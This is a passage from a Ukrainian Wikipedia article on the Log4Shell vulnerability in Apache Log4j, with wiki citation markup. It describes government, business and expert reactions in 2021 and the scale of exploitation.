Today]]|language=en-US}}</ref> Громадянські агентства, найняті урядом США, мали до 24 грудня 2021 року виправити вразливості, хоча на той час це вже дозволило б отримати доступ до сотень тисяч цілей.<ref name="автоссылка29"/>

[[Центр безпеки комунікацій|Канадський центр кібербезпеки]] (CCCS) закликав організації вжити негайних заходів.<ref>{{Cite web|lang=en|url=https://cyber.gc.ca/en/news/statement-minister-national-defence-apache-vulnerability|title=Statement from the Minister of National Defence on Apache Vulnerability and Call to Canadian Organizations to Take Urgent Action|website=Government of Canada|date=12 грудня 2021|access-date=2021-12-25|archive-date=2021-12-20|archive-url=https://web.archive.org/web/20211220032436/https://www.cyber.gc.ca/en/news/statement-minister-national-defence-apache-vulnerability|deadlink=no}} {{Webarchive|url=https://web.archive.org/web/20211220032436/https://www.cyber.gc.ca/en/news/statement-minister-national-defence-apache-vulnerability |date=2021-12-20 }}</ref> Податкове управління Канади тимчасово відключило свої онлайн-сервіси після того, як дізналося про експлойт, тоді як уряд Квебеку закрив майже 4000 своїх веб-сайтів як «превентивний захід».<ref>{{Cite news|author=Cabrera|first=Holly|date=12 грудня 2021|title=Facing cybersecurity threats, Quebec shuts down government websites for evaluation|website=[[CBC News]]|url=https://www.cbc.ca/news/canada/montreal/quebec-cybersecurity-threat-government-website-1.6283133|accessdate=12 грудня 2021|archivedate=2021-12-20|archiveurl=https://web.archive.org/web/20211220033702/https://www.cbc.ca/news/canada/montreal/quebec-cybersecurity-threat-government-website-1.6283133}}</ref>

Федеральне управління безпеки Німеччини (BSI) визначило експлойт як загрозу, що знаходиться на найвищому рівні, назвавши його «надзвичайно критичною небезпечною ситуацією» (перекладено). Він також повідомив, що кілька атак вже були успішними і що масштаби вразливості, як і раніше, важко оцінити.<ref>{{Cite web|lang=de|url=https://www.tagesschau.de/inland/bsi-schadsoftware-101.html|title=BSI warnt vor Sicherheitslücke|author=Sauerwein|first=Jörg|website=[[Tagesschau (German TV series)|Tagesschau]]|date=12 грудня 2021|access-date=2021-12-25|archive-date=2022-01-05|archive-url=https://web.archive.org/web/20220105123120/https://www.tagesschau.de/inland/bsi-schadsoftware-101.html|deadlink=no}}</ref><ref>{{Cite press release|title=Warnstufe Rot: Schwachstelle Log4Shell führt zu extrem kritischer Bedrohungslage|date=11 грудня 2021|url=https://www.bsi.bund.de/DE/Service-Navi/Presse/Pressemitteilungen/Presse2021/211211_log4Shell_WarnstufeRot.html|language=de|accessdate=2021-12-25|archivedate=2021-12-13|archiveurl=https://web.archive.org/web/20211213094805/http://www.bsi.bund.de/DE/Service-Navi/Presse/Pressemitteilungen/Presse2021/211211_log4Shell_WarnstufeRot.html}}</ref> Національний центр кібербезпеки Нідерландів (NCSC) розпочав постійний список вразливих програм.<ref>{{Cite web|url=https://thenewstack.io/log4shell-we-are-in-so-much-trouble/|title=Log4Shell: We Are in So Much Trouble|author=J. Vaughan-Nichols|first=Steven|website=The New Stack|date=14 грудня 2021|access-date=2021-12-25|archive-date=2021-12-23|archive-url=https://web.archive.org/web/20211223214007/https://thenewstack.io/log4shell-we-are-in-so-much-trouble/|deadlink=no}}</ref><ref>{{Cite web|url=https://github.com/NCSC-NL/log4shell|title=NCSC-NL/log4shell|publisher=National Cyber Security Centre (Netherlands)|access-date=14 грудня 2021|archive-date=2021-12-29|archive-url=https://web.archive.org/web/20211229162639/https://github.com/NCSC-NL/log4shell|deadlink=no}}</ref>

Міністерство промисловості та інформаційних технологій Китаю призупинило роботу з Alibaba Cloud як партнер з аналізу загроз кібербезпеці на шість місяців через те, що не повідомило про вразливість уряду першим.<ref>{{Cite web|url=https://www.scmp.com/tech/big-tech/article/3160670/apache-log4j-bug-chinas-industry-ministry-pulls-support-alibaba-cloud|title=Apache Log4j bug: China’s industry ministry pulls support from Alibaba Cloud for not reporting flaw to government first|access-date=2021-12-25|archive-date=2021-12-25|archive-url=https://web.archive.org/web/20211225150934/https://www.scmp.com/tech/big-tech/article/3160670/apache-log4j-bug-chinas-industry-ministry-pulls-support-alibaba-cloud|deadlink=no}}</ref>

=== Бізнеси ===
Дослідження, проведене Wiz та [[Ernst & Young|EY]]<ref name=":62"/> показало, що 93% хмарного корпоративного середовища були вразливі для Log4Shell. 7% вразливих робочих навантажень доступні в Інтернеті і схильні до широких спроб експлуатації. Згідно з дослідженням, через десять днів після публікації вразливості (20 грудня 2021 року) лише 45% вразливих робочих навантажень було виправлено в середньому в хмарних середовищах. Хмарні дані Amazon, Google і Microsoft торкнулися Log4Shell.<ref name="автоссылка29"/>

Компанія з управління персоналом і персоналом UKG, одна з найбільших компаній у галузі, зазнала [[Ransomware|атаки програм-вимагачів]], що торкнулася великих підприємств.<ref name=":12"/><ref name=":3">{{Cite web|lang=en-US|url=https://www.bostonglobe.com/2021/12/15/business/emerging-log4j-software-bug-spawns-worldwide-worry-over-cyber-attacks/|title=Emerging ‘Log4j’ software bug spawns worldwide worry over cyber attacks - The Boston Globe|author=Bray|first=Hiawatha|website=[[The Boston Globe]]|date=15 грудня 2021|access-date=2021-12-17|url-status=live|archive-date=2021-12-17|archive-url=https://web.archive.org/web/20211217015453/https://www.bostonglobe.com/2021/12/15/business/emerging-log4j-software-bug-spawns-worldwide-worry-over-cyber-attacks/|deadlink=no}}</ref> UKG заявила, що вона не має доказів використання Log4Shell в інциденті, хоча аналітик Аллан Ліска з компанії Recorded Future, що займається кібербезпекою, сказав, що, можливо, існує зв'язок.<ref name="автоссылка3">{{Cite web|last=Bray|first=Hiawatha|last2=|first2=|last3=|last4=|first4=|date=15 грудня 2021|title=Emerging ‘Log4j’ software bug spawns worldwide worry over cyber attacks - The Boston Globe|url=https://www.bostonglobe.com/2021/12/15/business/emerging-log4j-software-bug-spawns-worldwide-worry-over-cyber-attacks/|url-status=live|access-date=2021-12-17|website=[[The Boston Globe]]|language=en-US|archive-date=2021-12-17|archive-url=https://web.archive.org/web/20211217015453/https://www.bostonglobe.com/2021/12/15/business/emerging-log4j-software-bug-spawns-worldwide-worry-over-cyber-attacks/|deadlink=no}}</ref>

Оскільки великі компанії почали випускати виправлення для експлойту, ризик для малого бізнесу збільшився, оскільки хакери зосередилися на більш вразливих цілях.<ref name=":22"/>

=== Конфіденційність ===
Персональні пристрої, такі як [[Smart TV]] та камери відеоспостереження, підключені до Інтернету, були вразливими для експлойту.<ref name="автоссылка29"/>

== Аналіз ==
Станом на 14 грудня 2021 року майже половину всіх корпоративних мереж у світі було активно досліджено, і протягом доби було створено понад 60 варіантів експлойту.<ref>{{Cite web|url=https://www.computerweekly.com/news/252510939/Almost-half-of-networks-probed-for-Log4Shell-weaknesses|title=Almost half of networks probed for Log4Shell weaknesses|website=[[ComputerWeekly]]|date=14 грудня 2021|access-date=2021-12-25|archive-date=2021-12-20|archive-url=https://web.archive.org/web/20211220030209/https://www.computerweekly.com/news/252510939/Almost-half-of-networks-probed-for-Log4Shell-weaknesses|deadlink=no}}</ref> [[Check Point]] Software Technologies у докладному аналізі описала ситуацію як «справжню кіберпандемію» та охарактеризувала можливість завдання шкоди як «незліченну».<ref>{{Cite web|url=https://blog.checkpoint.com/2021/12/13/the-numbers-behind-a-cyber-pandemic-detailed-dive/|title=The numbers behind a cyber pandemic – detailed dive|website=[[Check Point]] Software|date=13 грудня 2021|access-date=2021-12-25|archive-date=2021-12-24|archive-url=https://web.archive.org/web/20211224193523/https://blog.checkpoint.com/2021/12/13/the-numbers-behind-a-cyber-pandemic-detailed-dive/|deadlink=no}}</ref> У кількох початкових рекомендаціях було завищено кількість вразливих пакетів, що призводило до помилкових спрацьовувань. Зокрема пакет «log4j api» був відзначений як уразливий, тоді як насправді подальші дослідження показали, що вразливим був лише основний пакет «log4j-core».

Це було підтверджено як у вихідній галузі випуску,<ref>{{Cite web|url=https://issues.apache.org/jira/browse/LOG4J2-3201|title=LOG4J2-3201: Limit the protocols JNDI can use and restrict LDAP.|website=Apache's JIRA issue tracker|access-date=14 грудня 2021|archive-date=2021-12-25|archive-url=https://web.archive.org/web/20211225085250/https://issues.apache.org/jira/browse/LOG4J2-3201|deadlink=no}}</ref> так і зовнішніми дослідниками безпеки.

Технологічний журнал Wired написав, що, незважаючи на попередній«галас» навколо численних уразливостей, «галас навколо вразливості Log4j… виправдовує себе з цілого ряду причин».<ref name="автоссылка55"/> Журнал пояснює, що всюдисутність log4j, вразливість якої важко виявити за потенційними цілями, і легкість передачі коду на комп'ютер жертви створили «поєднання серйозності, доступності та поширеності, яка вразила фахівців з безпеки».<ref name="автоссылка55"/> [[Wired]] також схематично представив послідовність використання Log4Shell хакерами: групи, що займаються майнінгом, криптовалют першими почнуть експлуатувати вразливість, потім торговці даними продадуть «плацдарм» кіберзлочинцям, які нарешті займуться вимаганням, [[шпигунство]]м та знищенням даних.<ref name="автоссылка55"/>

Аміт Йоран, генеральний директор Tenable і директор-засновник групи готовності до комп'ютерних надзвичайних ситуацій у США, заявив: «[Log4Shell], безумовно, найбільша та критична вразливість в історії», зазначивши, що витончені атаки почалися невдовзі після помилки, заявивши: «Ми також вже бачимо, що він використовується для атак програм-вимагачів, що, знову ж таки, має стати серйозним сигналом тривоги... Ми також бачили повідомлення про зловмисників, які використовують Log4Shell для знищення систем, навіть не намагаючись отримати викуп, — досить незвичайне поведінка».<ref name="автоссылка55"/> Старший дослідник загроз Sophos Шон Галлахер сказав: «Чесно кажучи, найбільша загроза тут полягає в тому, що люди вже отримали доступ і просто користуються ним, і навіть якщо ви усунете проблему, хтось вже перебуває в мережі... Він буде існувати стільки ж, скільки й Інтернет».<ref name=":42"/>
== Примітки ==
{{reflist}}

[[Категорія:Інформаційна безпека]]